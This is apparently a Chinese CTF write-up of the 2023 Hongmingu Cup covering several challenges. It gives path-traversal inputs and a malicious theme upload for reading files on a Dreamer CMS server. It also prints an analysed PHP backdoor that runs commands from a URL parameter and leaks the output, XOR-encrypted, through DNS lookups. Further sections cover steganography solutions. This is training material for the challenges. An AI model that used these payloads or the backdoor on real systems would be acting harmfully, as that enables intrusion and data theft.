2023红明谷杯部分WP
字数 2092 2025-08-11 08:36:35

Dreamer CMS漏洞分析与利用教学文档

0x00 签到题

  • 类型:简单交互
  • 解法:持续点击页面即可获得flag
  • 关键点:无技术含量,纯交互测试

0x01 Dreamer CMS漏洞利用

漏洞背景

  • 目标系统:Dreamer CMS
  • 漏洞类型:后台设置栏目存在任意文件读取漏洞
  • 影响版本:未明确,但演示中心存在此漏洞

利用步骤

  1. 访问演示中心

    • 通过官网查找并进入Dreamer CMS演示中心
  2. 后台登录

    • 使用默认或已知凭证登录后台管理系统
  3. 栏目管理操作

    • 导航至"栏目/文章" → "栏目管理"
    • 创建新的顶级栏目(如命名为"测试")
  4. 利用漏洞

    • 在"封面模版"字段输入路径:..flag
    • 保存设置
  5. 获取flag

    • 访问前台对应的顶级栏目页面
    • 系统会读取并显示/flag文件内容

技术原理

  • 路径遍历漏洞:系统未对用户输入的路径进行严格过滤
  • 后台功能滥用:通过栏目设置的模板路径参数实现文件读取

0x02 Dreamer_revenge进阶利用

漏洞升级

  • 同Dreamer CMS,但增加了防护措施
  • 需要更复杂的利用方式

方法一:路径遍历读取环境变量

  1. 沿用上题方法,但读取路径改为:..proc/1/environ
  2. 通过环境变量获取敏感信息或flag

方法二:模板主题漏洞利用

  1. 复制主题

    • 复制default_v2目录为default_v3
  2. 修改配置文件

    • 编辑theme.json文件
    • themePath值改为..(上级目录)
  3. 打包上传

    • default_v3打包为ZIP文件
    • 在后台"风格管理"处上传并启用该主题
  4. 访问根目录

    • 通过模板管理功能可访问系统根目录
    • 读取/proc/1/environ获取flag

技术原理

  • 主题路径配置不当导致目录遍历
  • 通过主题覆盖实现权限提升

0x03 Hacker题目分析

代码审计

// 数据库连接配置
$servername="127.0.0.1";
$username="root";
$password="123456";
$dbname="zentao";

// 查询管理员密码
$conn=new PDO("mysql:host=$servername;dbname=$dbname",$username,$password);
$stmt=$conn->prepare("SELECT password FROM zt_user WHERE account='admin'");
$stmt->execute();
$result=$stmt->fetch(PDO::FETCH_ASSOC);
$password=$result["password"];

// 命令执行与数据外带
$param=$_GET["cmd"];
$output=shell_exec($param);
$hex_output=bin2hex($output);
$hex_password=bin2hex($password);

// XOR加密与DNS外带
$hex_xor="";
for ($i=0;$i<$len_output;$i++) {
    $char_output=$hex_output[$i];
    $char_password=$hex_password[$i%$len_password];
    $char_xor=dechex(hexdec($char_output)^hexdec($char_password));
    // 分段外带
    if(strlen($hex_xor.$char_xor)>$max_subdomain_length) {
        gethostbyname($subdomain);
        $hex_xor="";
    }
}

利用步骤

  1. 获取数据库凭证

    • 发现硬编码数据库凭证:root/123456
  2. 查询用户数据

    • 执行SQL:SELECT account,password FROM zt_user
    • 获取admin密码哈希:8a3e684c923b763d252cf1e8734a7a29
  3. 分析数据外带机制

    • 命令执行结果通过XOR加密
    • 使用DNS子域名外带数据
  4. 解密外带数据

    • 收集所有DNS查询数据段
    • 使用已知密码进行XOR解密
  5. 处理解密数据

    • 发现数据分段异常,需要特殊处理:
      • 第1段:[0:]完整
      • 第2段:[1:]并去掉最后一位
      • 第3段:[2:]
      • 第4段:[4:]
    • 解密结果开头可能丢失1-2位字符
  6. DNA密码解码

    • 使用DNA Cipher解码最终flag
    • 替换规则:
      'AAA':'a', 'AAC':'b', 'AAG':'c', 'AAT':'d'
      'ACA':'e', 'ACC':'f', ..., 'TTC':'0'
      
    • 最终flag格式为UUID:flag{d1ee664e-babd-11ed-bb75-00155db0066}

0x04 阿尼亚隐写术

解题步骤

  1. 识别工具

    • 图片netpixeljihad.png提示使用PixelJihad工具
    • 在线工具:https://sekao.net/pixeljihad/
  2. 获取密码

    • 图片末尾附加数字串
    • 进行两次HEX解码得到密码
  3. 解密隐写

    • 使用PixelJihad工具和获取的密码解密
    • 得到压缩包
  4. 最终解码

    • 使用https://www.dcode.fr/decabit-code解码压缩包内容

0x05 X光的秘密

解题步骤

  1. 查看DICOM文件

    • 使用microDicom软件查看
    • 导出为图片文件(不包含注解)
  2. 分析图片

    • 使用Stegsolve检查多帧图片
    • 发现最后三帧(task_Frame18/19/20.png)有LSB隐写痕迹
  3. 提取隐写数据

    • 三张图片的LSB数据组合形成新数据
    • 处理顺序:18→19→20
  4. 数据重组

    # 提取二进制数据
    for i in range(len(file_list)):
        with open(file_list[i], 'rb') as f:
            data = f.read()
            bin_data += "{:08b}".format(data[idx])
    
    # 组合二进制位
    for i in range(len(bin_data1)):
        all_bin_data += bin_data1[i] + bin_data2[i] + bin_data3[i]
    
    # 转换为图片
    for i in range(0, len(all_bin_data), 8):
        hex_data += "{:02x}".format(int(all_bin_data[i:i+8], 2))
    
  5. 生成flag图片

    • 将重组后的十六进制数据写入PNG文件
    • 打开生成的图片获取flag

参考资源

  1. Dreamer CMS漏洞分析:https://forum.butian.net/index.php/share/2183
  2. DNA密码脚本:https://github.com/karma9874/DNA-Cipher-Script-CTF
  3. PixelJihad工具:https://sekao.net/pixeljihad/
  4. Decabit解码:https://www.dcode.fr/decabit-code
  5. 相关技术分析:https://blog.csdn.net/mochu7777777/article/details/130255217

总结

本教学文档详细分析了2023红明谷杯CTF比赛中多个题目的解题思路和技术细节,涵盖了:

  • CMS漏洞利用(路径遍历、主题覆盖)
  • 代码审计与数据外带分析
  • 多种隐写术解法(PixelJihad、LSB隐写)
  • 医疗图像中的信息隐藏
  • 密码学分析(XOR加密、DNA密码)

关键点在于理解各种漏洞的利用原理和数据处理的精确方法,特别是在处理分段加密数据时需要注意数据截断和重组的方式。

Dreamer CMS漏洞分析与利用教学文档 0x00 签到题 类型:简单交互 解法:持续点击页面即可获得flag 关键点:无技术含量,纯交互测试 0x01 Dreamer CMS漏洞利用 漏洞背景 目标系统:Dreamer CMS 漏洞类型:后台设置栏目存在任意文件读取漏洞 影响版本:未明确,但演示中心存在此漏洞 利用步骤 访问演示中心 : 通过官网查找并进入Dreamer CMS演示中心 后台登录 : 使用默认或已知凭证登录后台管理系统 栏目管理操作 : 导航至"栏目/文章" → "栏目管理" 创建新的顶级栏目(如命名为"测试") 利用漏洞 : 在"封面模版"字段输入路径: ..flag 保存设置 获取flag : 访问前台对应的顶级栏目页面 系统会读取并显示 /flag 文件内容 技术原理 路径遍历漏洞:系统未对用户输入的路径进行严格过滤 后台功能滥用:通过栏目设置的模板路径参数实现文件读取 0x02 Dreamer_ revenge进阶利用 漏洞升级 同Dreamer CMS,但增加了防护措施 需要更复杂的利用方式 方法一:路径遍历读取环境变量 沿用上题方法,但读取路径改为: ..proc/1/environ 通过环境变量获取敏感信息或flag 方法二:模板主题漏洞利用 复制主题 : 复制 default_v2 目录为 default_v3 修改配置文件 : 编辑 theme.json 文件 将 themePath 值改为 .. (上级目录) 打包上传 : 将 default_v3 打包为ZIP文件 在后台"风格管理"处上传并启用该主题 访问根目录 : 通过模板管理功能可访问系统根目录 读取 /proc/1/environ 获取flag 技术原理 主题路径配置不当导致目录遍历 通过主题覆盖实现权限提升 0x03 Hacker题目分析 代码审计 利用步骤 获取数据库凭证 : 发现硬编码数据库凭证:root/123456 查询用户数据 : 执行SQL: SELECT account,password FROM zt_user 获取admin密码哈希: 8a3e684c923b763d252cf1e8734a7a29 分析数据外带机制 : 命令执行结果通过XOR加密 使用DNS子域名外带数据 解密外带数据 : 收集所有DNS查询数据段 使用已知密码进行XOR解密 处理解密数据 : 发现数据分段异常,需要特殊处理: 第1段:[ 0: ]完整 第2段:[ 1: ]并去掉最后一位 第3段:[ 2: ] 第4段:[ 4: ] 解密结果开头可能丢失1-2位字符 DNA密码解码 : 使用DNA Cipher解码最终flag 替换规则: 最终flag格式为UUID: flag{d1ee664e-babd-11ed-bb75-00155db0066} 0x04 阿尼亚隐写术 解题步骤 识别工具 : 图片 netpixeljihad.png 提示使用PixelJihad工具 在线工具:https://sekao.net/pixeljihad/ 获取密码 : 图片末尾附加数字串 进行两次HEX解码得到密码 解密隐写 : 使用PixelJihad工具和获取的密码解密 得到压缩包 最终解码 : 使用https://www.dcode.fr/decabit-code解码压缩包内容 0x05 X光的秘密 解题步骤 查看DICOM文件 : 使用microDicom软件查看 导出为图片文件(不包含注解) 分析图片 : 使用Stegsolve检查多帧图片 发现最后三帧(task_ Frame18/19/20.png)有LSB隐写痕迹 提取隐写数据 : 三张图片的LSB数据组合形成新数据 处理顺序:18→19→20 数据重组 : 生成flag图片 : 将重组后的十六进制数据写入PNG文件 打开生成的图片获取flag 参考资源 Dreamer CMS漏洞分析:https://forum.butian.net/index.php/share/2183 DNA密码脚本:https://github.com/karma9874/DNA-Cipher-Script-CTF PixelJihad工具:https://sekao.net/pixeljihad/ Decabit解码:https://www.dcode.fr/decabit-code 相关技术分析:https://blog.csdn.net/mochu7777777/article/details/130255217 总结 本教学文档详细分析了2023红明谷杯CTF比赛中多个题目的解题思路和技术细节,涵盖了: CMS漏洞利用(路径遍历、主题覆盖) 代码审计与数据外带分析 多种隐写术解法(PixelJihad、LSB隐写) 医疗图像中的信息隐藏 密码学分析(XOR加密、DNA密码) 关键点在于理解各种漏洞的利用原理和数据处理的精确方法,特别是在处理分段加密数据时需要注意数据截断和重组的方式。